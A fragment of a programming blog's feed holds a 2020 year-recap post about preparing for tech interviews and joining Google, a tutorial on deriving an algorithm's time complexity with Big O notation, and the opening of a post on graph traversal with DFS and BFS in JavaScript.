<p>I had a dream, but I didn’t find the time to put in the work. In 2018, I had an idea to motivate myself. I started writing posts about my learnings. That way, I can keep myself motivated. I wrote a couple of posts: <a href="https://adrianmejia.com/how-you-can-change-the-world-learning-data-structures-algorithms-free-online-course-tutorial/">1</a>, <a href="https://adrianmejia.com/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">2</a>, <a href="https://adrianmejia.com/data-structures-time-complexity-for-beginners-arrays-hashmaps-linked-lists-stacks-queues-tutorial/">3</a>, <a href="https://adrianmejia.com/data-structures-for-beginners-graphs-time-complexity-tutorial/">4</a>, <a href="https://adrianmejia.com/data-structures-for-beginners-trees-binary-search-tree-tutorial/">5</a>, <a href="https://adrianmejia.com/self-balanced-binary-search-trees-with-avl-tree-data-structure-for-beginners/">6</a>, <a href="https://adrianmejia.com/analysis-of-recursive-algorithms/">7</a>. I noticed it got some traction, so I got another crazy idea. Would people be interested in an ebook version of my content? Since It takes so much time to write a book, I had to see if people were willing to pre-buy the book. It turned out around 50+ people got interested and pre-bought the book! That kept me motivated to start the book. Halfway through, I had some issues rendering a PDF and ePub format. However, I didn’t want to let down all the (pre-)buyers that believed in me. So, I pushed through the finish line and delivered what I promised.</p>
<h2 id="Tech-Interview-Process"><a href="#Tech-Interview-Process" class="headerlink" title="Tech Interview Process"></a>Tech Interview Process</h2><p>In March of 2020, I got an email from a Facebook recruiter. So, I thought: Hmm, I’m ready! If I’m going to interview again, let’s do it big. I was aware of how hard the interviews were. So to maximize my chances, I applied to all the top tech companies I could and more, E.g., FAANG (Facebook, Apple, Amazon, Netflix, Google).</p>
<p>The first interview was with Amazon. It was an online assessment. I thought I was ready since I was studying algorithms on and off for a couple of years. I completed the first exercise about solving a problem with a Hash Map and some other things. The second problem was complicated. It was a graph algorithm, and I was able to do a brute force solution. Unfortunately, It was not good enough, so I was rejected. 😭</p>
<p><strong>Lesson learned: to do well in interviews, you not only need to know the theoretical concepts, but you must be able to apply them quickly.</strong></p>
<p>I doubled down on doing exercises to do better on my subsequent interviews in other companies. I was getting better after a couple of months of doing Leetcode.com exercises every single day. When I interview Facebook, I got two questions that I had to solve in under 45 minutes. There’s one that I had seen before (or at least was similar). However, I got nervous and only did the brute force solution. I was rejected again! Also, I was frustrated because I practiced hard this time and still ended up using the same brute force solution I knew before preparing.</p>
<p><strong>Lesson learned: Learning is not a straight line. If you want knowledge to stick in your head, you need to use spaced repetition. Learn and quiz yourself again after a couple of days.</strong></p>
<p>I started writing down my sticky points and learn from my failures daily. I kept a spreadsheet of the last time I attempted an exercise and how long it took me to finish it. After two months or so of doing that, I started seeing a noticeable improvement in myself. I was learning, and the knowledge was sticking with me for the long run.</p>
<p>My following interviews went well, and I got offers!!!</p>
<h3 id="Interview-Results"><a href="#Interview-Results" class="headerlink" title="Interview Results"></a>Interview Results</h3><p>To sum up the whole process:</p>
<ul>
<li>Applied positions: <strong><code>13</code></strong></li>
<li>Interested: <strong><code>8</code></strong> (2 never replied, 3 said no, 8 said yes)</li>
<li>Interviewed w/recruiter: <strong><code>7</code></strong> (1 replied too late in the process)</li>
<li>Phone screens: <strong><code>6</code></strong></li>
<li>Onsite interviews: <strong><code>3</code></strong></li>
<li>Offers: <strong><code>2</code></strong></li>
</ul>
<p>I accepted my dream job at Google!</p>
<p><em>NOTE</em>: Even if you are interested in one company, interview at many. Having multiple offers gives your more room for negotiating.</p>
<h2 id="After-Getting-the-Job"><a href="#After-Getting-the-Job" class="headerlink" title="After Getting the Job"></a>After Getting the Job</h2><p>There was a small problem. I have been mainly doing frontend development (Angular/Node/TypeScript/JavaScript) for eight years. At Google, I’ll be using C++. As you can imagine, search products need to be blazing fast and memory efficient. That’s when algorithms and C++ come in handy. I became a beginner once again but was very excited about all the new things I would learn.</p>
<p>I took a month off in between jobs. I used that time to study and get up to speed on C++. I read a couple of books on the topic and tried to solve algorithms using C++ instead of JavaScript. It helped me!</p>
<p>Once I joined Google, I kept learning. Everything was so jaw-dropping! However, everything was so different from what I did before that I felt overwhelmed by the number of new things I needed to learn. The programming language was new to me, and the build system, CI, version system (perforce/mercurial-like instead of git), and many internal tools. I made a list of new things and have been going through them. After a month or so, I feel like I can do things now. I submitted my first change to production, and my 2nd one is on the way. It’s great to work on something that billions of people use daily (including my family and friends). I feel like what I do matters. Of course, there’s so much to learn, but I’m enjoying the new journey.</p>
<h3 id="Lessons-learned-from-Tech-Interviews"><a href="#Lessons-learned-from-Tech-Interviews" class="headerlink" title="Lessons learned from Tech Interviews"></a>Lessons learned from Tech Interviews</h3><ul>
<li>Data Structures and Algorithms (DSA) are essential when your code runs on thousands of servers worldwide. Inefficient code won’t scale well and cost more CPU time.</li>
<li>Systems design is critical too. I need to keep learning more about this topic. I might do a couple of posts about what I’m learning.</li>
<li>Design patterns and learning to refactor code is a very needed skill. Projects that have decades of ever-increasing requirements need to be revisited and improved now and then.</li>
<li>Be constantly learning. Don’t be afraid of starting from scratch. Failure is an option. Learning is a choice. Consistent tries (failures + learning) leads to success eventually.</li>
</ul>
<h2 id="2020-Highlights"><a href="#2020-Highlights" class="headerlink" title="2020 Highlights"></a>2020 Highlights</h2><h3 id="Algorithms"><a href="#Algorithms" class="headerlink" title="Algorithms"></a>Algorithms</h3><ul>
<li>Studied Data Structures and Algorithms (DSA) and did exercises:</li>
<li>Leetcode submissions: <img src="/images/leetcode-profile-2020.png" alt="leetcode profile"></li>
<li>903 submission of 202 problems (I repeated many every few weeks). I did 90 easy, 100 medium, and 12 hard problems. I participated in 6 programming contests.</li>
<li>I noticed many of the things I learned I forgot in a few weeks. So, I kept a spreadsheet (Notion Database) to keep track of my mistakes, learnings and made sure I was learning for the long term.</li>
</ul>
<h3 id="Open-source-contributions-in-2020"><a href="#Open-source-contributions-in-2020" class="headerlink" title="Open-source contributions in 2020"></a>Open-source contributions in 2020</h3><ul>
<li>Github contributions: <img src="/images/github-contribution-2020.png" alt="github contributions"></li>
<li><a href="https://amejiarosario/dsa.js-data-structures-algorithms-javascript">amejiarosario/dsa.js-data-structures-algorithms-javascript</a>: Added most frequently asked interview problems for each chapter.</li>
<li><a href="https://github.com/xaizek/zograscopev">xaizek/zograscope</a>.</li>
</ul>
<h3 id="Books-in-2020"><a href="#Books-in-2020" class="headerlink" title="Books in 2020"></a>Books in 2020</h3><ul>
<li><a href="https://www.amazon.com/Software-Engineering-Google-Lessons-Programming/dp/1492082791">Software Engineering at Google: Lessons Learned from Programming Over Time</a> by Titus Winters</li>
<li>Elements of Programming Interviews (EPI)</li>
<li>A tour of C++ by Bjarne Stroustrup</li>
<li>How Google Works by Eric Schmidt</li>
</ul>
<h3 id="Audiobooks-in-2020"><a href="#Audiobooks-in-2020" class="headerlink" title="Audiobooks in 2020"></a>Audiobooks in 2020</h3><ul>
<li>Why we sleep by Matthew Walker</li>
<li>Zero to One by Peter Thiel</li>
<li>Atomic Habits by James Clear</li>
<li>Quit like a millionaire by Kristy Shen</li>
<li>Principles by Ray Dalio</li>
<li>Financial Peace Revisited by Dave Ramsey</li>
<li>The Magnolia Story by Chip Gaines</li>
<li>Capital Gaines by Chip Gaines</li>
<li>The 10x Rule by Grant Cardone</li>
<li>Think and Grow Rich by Napoleon Hill</li>
<li>Happy Money by Ken Honda</li>
<li>The Infinite Game by Simon Sinek</li>
<li>Becoming Supernatural by Joe Dispenza</li>
<li>Breaking the Habit of being yourself by Joe Dispenza</li>
<li>Trillion Dollar Coach by Eric Schmidt</li>
<li>The millionarie next door by Thomas J. Stanley</li>
<li>Sapiens by Yuval Noah Harari</li>
<li>The Little Book of Common Sense Investing</li>
<li>The Richest Man in Babylon by George Clason</li>
<li>You are a badass by Jen Sincero</li>
<li>You are a badass of making money by Jen Sincero</li>
</ul>
<h3 id="Games"><a href="#Games" class="headerlink" title="Games"></a>Games</h3><ul>
<li>Factorio</li>
<li>Shapez.io</li>
<li>Satisfactory</li>
<li>Crysis 3</li>
<li>Chess 5D</li>
<li>Among Us</li>
</ul>
<h3 id="Workout"><a href="#Workout" class="headerlink" title="Workout"></a>Workout</h3><ul>
<li>Weightlifting (before gyms were closed): <a href="https://stronglifts.com/5x5/https://stronglifts.com/5x5/https://stronglifts.com/5x5/v">Stronglifts 5x5</a></li>
<li>Focus T25 (after gyms were closed).</li>
</ul>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>Considering the uncertain global situation, there are still ways to use circumstances for good. For instance, we can use the extra time at home to study and spend more time with family.</p>
<p>Failure is natural when you go out of your comfort zone. Try to learn from your mistakes and keep trying new things until you succeed. Don’t give up on your dreams, and try to enjoy the journey. Always keep learning, and don’t be afraid of starting over.</p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;This is the first time I write a post about reviewing a year. I usually keep my posts about technical topics or tutorials, but this year has been unusual so let’s do unusual things!&lt;/p&gt;
    
    </summary>
    
    
      <category term="year-recap" scheme="https://adrianmejia.com/tags/year-recap/"/>
    
  </entry>
  
  <entry>
    <title>How to find time complexity of an algorithm?</title>
    <link href="https://adrianmejia.com/how-to-find-time-complexity-of-an-algorithm-code-big-o-notation/"/>
    <id>https://adrianmejia.com/how-to-find-time-complexity-of-an-algorithm-code-big-o-notation/</id>
    <published>2020-10-03T12:53:32.000Z</published>
    <updated>2020-10-03T12:53:32.000Z</updated>
    
    <content type="html"><![CDATA[<p>Finding out the time complexity of your code can help you develop better programs that run faster. Some functions are easy to analyze, but when you have loops, and recursion might get a little trickier when you have recursion. After reading this post, you are able to derive the time complexity of any code.</p>
<a id="more"></a>

<p>In general, you can determine the time complexity by analyzing the program’s statements (go line by line).
However, you have to be mindful how are the statements arranged. Suppose they are inside a loop or have function calls or even recursion. All these factors affect the runtime of your code. Let’s see how to deal with these cases.</p>
<h2 id="Big-O-Notation"><a href="#Big-O-Notation" class="headerlink" title="Big O Notation"></a>Big O Notation</h2><p>How to calculate time complexity of any algorithm or program? The most common metric it’s using Big O notation.</p>
<p>Here are some highlights about Big O Notation:</p>
<ul>
<li>Big O notation is a framework to analyze and compare algorithms.</li>
<li>Amount of work the CPU has to do (time complexity) as the input size grows (towards infinity).</li>
<li>Big O = Big Order function. Drop constants and lower order terms. E.g. <code>O(3*n^2 + 10n + 10)</code> becomes <code>O(n^2)</code>.</li>
<li>Big O notation cares about the worst-case scenario. E.g., when you want to sort and elements in the array are in reverse order for some sorting algorithms.</li>
</ul>
<p>For instance, if you have a function that takes an array as an input, if you increase the number of elements in the collection, you still perform the same operations; you have a constant runtime. On the other hand, if the CPU’s work grows proportionally to the input array size, you have a linear runtime <code>O(n)</code>.</p>
<p>If we plot the <a href="/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/">most common Big O notation examples</a>, we would have graph like this:</p>
<img src="/images/time-complexity-examples.png" class="" title="Time Complexity">

<p>As you can see, you want to lower the time complexity function to have better performance.</p>
<p>Let’s take a look, how do we translate code into time complexity.</p>
<h2 id="Sequential-Statements"><a href="#Sequential-Statements" class="headerlink" title="Sequential Statements"></a>Sequential Statements</h2><p>If we have statements with basic operations like comparisons, assignments, reading a variable.
We can assume they take constant time each <code>O(1)</code>.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">statement1;</span><br><span class="line">statement2;</span><br><span class="line">...</span><br><span class="line">statementN;</span><br></pre></td></tr></table></figure>

<p>If we calculate the total time complexity, it would be something like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">total &#x3D; time(statement1) + time(statement2) + ... time (statementN)</span><br></pre></td></tr></table></figure>

<p>Let’s use <code>T(n)</code> as the total time in function of the input size <code>n</code>, and <code>t</code> as the time complexity taken by a statement or group of statements.</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(n) &#x3D; t(statement1) + t(statement2) + ... + t(statementN);</span><br></pre></td></tr></table></figure>

<p>If each statement executes a basic operation, we can say it takes constant time <code>O(1)</code>. As long as you have a fixed number of operations, it will be constant time, even if we have 1 or 100 of these statements.</p>
<p>Example:</p>
<p>Let’s say we can compute the square sum of 3 numbers.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">squareSum</span>(<span class="params">a, b, c</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">const</span> sa = a * a;</span><br><span class="line">  <span class="keyword">const</span> sb = b * b;</span><br><span class="line">  <span class="keyword">const</span> sc = c * c;</span><br><span class="line">  <span class="keyword">const</span> sum = sa + sb + sc;</span><br><span class="line">  <span class="keyword">return</span> sum;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>As you can see, each statement is a basic operation (math and assignment). Each line takes constant time <code>O(1)</code>. If we add up all statements’ time it will still be <code>O(1)</code>. It doesn’t matter if the numbers are <code>0</code> or <code>9,007,199,254,740,991</code>, it will perform the same number of operations.</p>
<blockquote>
<p>⚠️ Be careful with function calls. You will have to go to the implementation and check their run time. More on that later.</p>
</blockquote>
<h2 id="Conditional-Statements"><a href="#Conditional-Statements" class="headerlink" title="Conditional Statements"></a>Conditional Statements</h2><p>Very rarely, you have a code without any conditional statement.
How do you calculate the time complexity? Remember that we care about the worst-case with Big O so that we will take the maximum possible runtime.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (isValid) &#123;</span><br><span class="line">  statement1;</span><br><span class="line">  statement2;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">  statement3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Since we are after the worst-case we take whichever is larger:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(n) &#x3D; Math.max([t(statement1) + t(statement2)], [time(statement3)])</span><br></pre></td></tr></table></figure>

<p>Example:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (isValid) &#123;</span><br><span class="line">  array.sort();</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>What’s the runtime? The <code>if</code> block has a runtime of <code>O(n log n)</code> (that’s common runtime for <a href="/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course/#Mergesort">efficient sorting algorithms</a>). The <code>else</code> block has a runtime of <code>O(1)</code>.</p>
<p>So we have the following:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">O([n log n] + [n]) &#x3D;&gt; O(n log n)</span><br></pre></td></tr></table></figure>

<p>Since <code>n log n</code> has a higher order than <code>n</code>, we can express the time complexity as <code>O(n log n)</code>.</p>
<h2 id="Loop-Statements"><a href="#Loop-Statements" class="headerlink" title="Loop Statements"></a>Loop Statements</h2><p>Another prevalent scenario is loops like for-loops or while-loops.</p>
<h3 id="Linear-Time-Loops"><a href="#Linear-Time-Loops" class="headerlink" title="Linear Time Loops"></a>Linear Time Loops</h3><p>For any loop, we find out the runtime of the block inside them and multiply it by the number of times the program will repeat the loop.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; array.length; i++) &#123;</span><br><span class="line">  statement1;</span><br><span class="line">  statement2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>For this example, the loop is executed <code>array.length</code>, assuming <code>n</code> is the length of the array, we get the following:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(n) &#x3D; n * [ t(statement1) + t(statement2) ]</span><br></pre></td></tr></table></figure>

<p>All loops that grow proportionally to the input size have a linear time complexity <code>O(n)</code>. If you loop through only half of the array, that’s still <code>O(n)</code>. Remember that we drop the constants so <code>1/2 n =&gt; O(n)</code>.</p>
<h3 id="Constant-Time-Loops"><a href="#Constant-Time-Loops" class="headerlink" title="Constant-Time Loops"></a>Constant-Time Loops</h3><p>However, if a constant number bounds the loop, let’s say 4 (or even 400). Then, the runtime is constant <code>O(4) -&gt; O(1)</code>. See the following example.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; <span class="number">4</span>; i++) &#123;</span><br><span class="line">  statement1;</span><br><span class="line">  statement2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>That code is <code>O(1)</code> because it no longer depends on the input size. It will always run statement 1 and 2 four times.</p>
<h3 id="Logarithmic-Time-Loops"><a href="#Logarithmic-Time-Loops" class="headerlink" title="Logarithmic Time Loops"></a>Logarithmic Time Loops</h3><p>Consider the following code, where we divide an array in half on each iteration (binary search):</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fn1</span>(<span class="params">array, target, low = <span class="number">0</span>, high = array.length - <span class="number">1</span></span>) </span>&#123;</span><br><span class="line">  <span class="keyword">let</span> mid;</span><br><span class="line">  <span class="keyword">while</span> ( low &lt;= high ) &#123;</span><br><span class="line">    mid = ( low + high ) / <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">if</span> ( target &lt; array[mid] )</span><br><span class="line">      high = mid - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( target &gt; array[mid] )</span><br><span class="line">      low = mid + <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> mid;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>This function divides the array by its <code>mid</code>dle point on each iteration. The while loop will execute the amount of times that we can divide <code>array.length</code> in half. We can calculate this using the <code>log</code> function.
E.g. If the array’s length is 8, then we the while loop will execute 3 times because <code>log<sub>2</sub>(8) = 3</code>.</p>
<h2 id="Nested-loops-statements"><a href="#Nested-loops-statements" class="headerlink" title="Nested loops statements"></a>Nested loops statements</h2><p>Sometimes you might need to visit all the elements on a 2D array (grid/table). For such cases, you might find yourself with two nested loops.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">  statement1;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> j = <span class="number">0</span>; j &lt; m; j++) &#123;</span><br><span class="line">    statement2;</span><br><span class="line">    statement3;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>For this case, you would have something like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(n) &#x3D; n * [t(statement1) + m * t(statement2...3)]</span><br></pre></td></tr></table></figure>

<p>Assuming the statements from 1 to 3 are <code>O(1)</code>, we would have a runtime of <code>O(n * m)</code>.
If instead of <code>m</code>, you had to iterate on <code>n</code> again, then it would be <code>O(n^2)</code>. Another typical case is having a function inside a loop. Let’s see how to deal with that next.</p>
<h2 id="Function-call-statements"><a href="#Function-call-statements" class="headerlink" title="Function call statements"></a>Function call statements</h2><p>When you calculate your programs’ time complexity and invoke a function, you need to be aware of its runtime. If you created the function, that might be a simple inspection of the implementation. If you are using a library function, you might need to check out the language/library documentation or source code.</p>
<p>Let’s say you have the following program:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">let</span> i = <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">  fn1();</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> j = <span class="number">0</span>; j &lt; n; j++) &#123;</span><br><span class="line">    fn2();</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> k = <span class="number">0</span>; k &lt; n; k++) &#123;</span><br><span class="line">      fn3();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Depending on the runtime of fn1, fn2, and fn3, you would have different runtimes.</p>
<ul>
<li>If they all are constant <code>O(1)</code>, then the final runtime would be <code>O(n^3)</code>.</li>
<li>However, if only <code>fn1</code> and <code>fn2</code> are constant and <code>fn3</code> has a runtime of <code>O(n^2)</code>, this program will have a runtime of <code>O(n^5)</code>. Another way to look at it is, if <code>fn3</code> has two nested and you replace the invocation with the actual implementation, you would have five nested loops.</li>
</ul>
<p>In general, you will have something like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">T(n) &#x3D; n * [ t(fn1()) + n * [ t(fn2()) + n * [ t(fn3()) ] ] ]</span><br></pre></td></tr></table></figure>

<h2 id="Recursive-Functions-Statements"><a href="#Recursive-Functions-Statements" class="headerlink" title="Recursive Functions Statements"></a>Recursive Functions Statements</h2><p>Analyzing the runtime of recursive functions might get a little tricky. There are different ways to do it. One intuitive way is to explore the recursion tree.</p>
<p>Let’s say that we have the following program:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">fn</span>(<span class="params">n</span>) </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (n &lt; <span class="number">0</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> (n &lt; <span class="number">2</span>) <span class="keyword">return</span> n;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> fn(n - <span class="number">1</span>) + fn(n - <span class="number">2</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>You can represent each function invocation as a bubble (or node).</p>
<p>Let’s do some examples:</p>
<ul>
<li>When you n = 2, you have 3 function calls. First <code>fn(2)</code> which in turn calls <code>fn(1)</code> and <code>fn(0)</code>.</li>
<li>For <code>n = 3</code>, you have 5 function calls. First <code>fn(3)</code>, which in turn calls <code>fn(2)</code> and <code>fn(1)</code> and so on.</li>
<li>For <code>n = 4</code>, you have 9 function calls. First <code>fn(4)</code>, which in turn calls <code>fn(3)</code> and <code>fn(2)</code> and so on.</li>
</ul>
<p>Since it’s a binary tree, we can sense that every time <code>n</code> increases by one, we would have to perform at most the double of operations.</p>
<p>Here’s the graphical representation of the 3 examples:</p>
<img src="/images/big-o-recursive-example.png" class="" title="recursive-function-example">


<p>If you take a look at the generated tree calls, the leftmost nodes go down in descending order: <code>fn(4)</code>, <code>fn(3)</code>, <code>fn(2)</code>, <code>fn(1)</code>, which means that the height of the tree (or the number of levels) on the tree will be <code>n</code>.</p>
<p>The total number of calls, in a complete binary tree, is <code>2^n - 1</code>. As you can see in <code>fn(4)</code>, the tree is not complete. The last level will only have two nodes, <code>fn(1)</code> and <code>fn(0)</code>, while a complete tree would have 8 nodes. But still, we can say the runtime would be exponential <code>O(2^n)</code>. It won’t get any worst because <code>2^n</code> is the upper bound.</p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>In this chapter, we learned how to calculate the time complexity of our code when we have the following elements:</p>
<ul>
<li>Basic operations like assignments, bit, and math operators.</li>
<li>Loops and nested loops</li>
<li>Function invocations and recursions.</li>
</ul>
<p>If you want to see more code examples for <code>O(n log n)</code>, <code>O(n^2)</code>, <code>O(n!)</code>, check out the <a href="/most-popular-algorithms-time-complexity-every-programmer-should-know-free-online-tutorial-course">most common time complexities that every developer should know</a>.</p>
<!--
References:
- https://stackoverflow.com/q/11032015/684957

-->
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Finding out the time complexity of your code can help you develop better programs that run faster. Some functions are easy to analyze, but when you have loops, and recursion might get a little trickier when you have recursion. After reading this post, you are able to derive the time complexity of any code.&lt;/p&gt;
    
    </summary>
    
      <category term="Programming" scheme="https://adrianmejia.com/categories/programming/"/>
    
      <category term="Data Structures and Algorithms (DSA)" scheme="https://adrianmejia.com/categories/programming/data-structures-and-algorithms-dsa/"/>
    
    
      <category term="big-o notation" scheme="https://adrianmejia.com/tags/big-o-notation/"/>
    
      <category term="algorithms" scheme="https://adrianmejia.com/tags/algorithms/"/>
    
      <category term="tutorial_algorithms" scheme="https://adrianmejia.com/tags/tutorial-algorithms/"/>
    
  </entry>
  
  <entry>
    <title>How to solve any graph/Maze interview questions in JavaScript? DFS vs. BFS</title>
    <link href="https://adrianmejia.com/how-to-solve-any-graph-2d-arrays-maze-interview-questions-in-javascript-dfs-vs-bfs/"/>
    <id>https://adrianmejia.com/how-to-solve-any-graph-2d-arrays-maze-interview-questions-in-javascript-dfs-vs-bfs/</id>
    <published>2020-08-06T20:30:14.000Z</published>
    <updated>2020-08-06T20:30:14.000Z</updated>
    
    <content type="html"><![CDATA[<p>Graphs are one of my favorite data structures because you can model many real-life situations with them. Such problems involve finding the shortest paths between 2 or more locations, scheduling courses, finding relationships in family trees, solving mazes, and many more! As a result, it’s ubiquitous in tech interview questions. In this article, we are going to demystify it.</p>
<a id="more"></a>

<p><strong>In this article you will learn:</strong></p>
<ol>
<li>10 steps to avoid getting stuck during coding questions in interviews</li>
<li>How to translate a maze or some “real life” problems into a graph.</li>
<li>How to solve problems using Graph traversing algorithms such as Breadth-First Search (BFS) or Depth-First Search.</li>
<li>When can you use only BFS or DFS or both?</li>
</ol>
<h2 id="Graph-Representations"><a href="#Graph-Representations" class="headerlink" title="Graph Representations"></a>Graph Representations</h2><p>A Graph can be represented in many ways depending on the problem as a class, Map + Array/Set, implicit graph or adjacency matrix.</p>
<p><strong>TL;DR</strong>: <em>When building reusable libraries, you can go with the Graph class implementation. However, when solving a problem quickly (during interviews or one-off problems), go with the implicit implementation if possible or Map+Array representation if you need to build the graph upfront. Don’t use <a href="https://adrianmejia.com/data-structures-for-beginners-graphs-time-complexity-tutorial/#Adjacency-Matrix">adjacency matrix</a> since it usually uses more memory than other alternatives.</em></p>
<h3 id="Graph-as-a-Class"><a href="#Graph-as-a-Class" class="headerlink" title="Graph as a Class"></a>Graph as a Class</h3><p>You can use OOP to represent graphs, like this:</p>
<figure class="highlight js"><figcaption><span>Graph Class</span><a href="https://github.com/amejiarosario/dsa.js-data-structures-algorithms-javascript/blob/master/src/data-structures/graphs/graph.js">Full Implementation</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Graph</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line"></span><br><span class="line">  addVertex(value) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  removeVertex(value) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  addEdge(source, destination) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  removeEdge(source, destination) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line"></span><br><span class="line">  areAdjacents(source, destination) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  areConnected(source, destination) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  findPath(source, destination, path = <span class="keyword">new</span> <span class="built_in">Map</span>()) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">  findAllPaths(source, destination, path = <span class="keyword">new</span> <span class="built_in">Map</span>()) &#123; <span class="comment">/* ... */</span> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

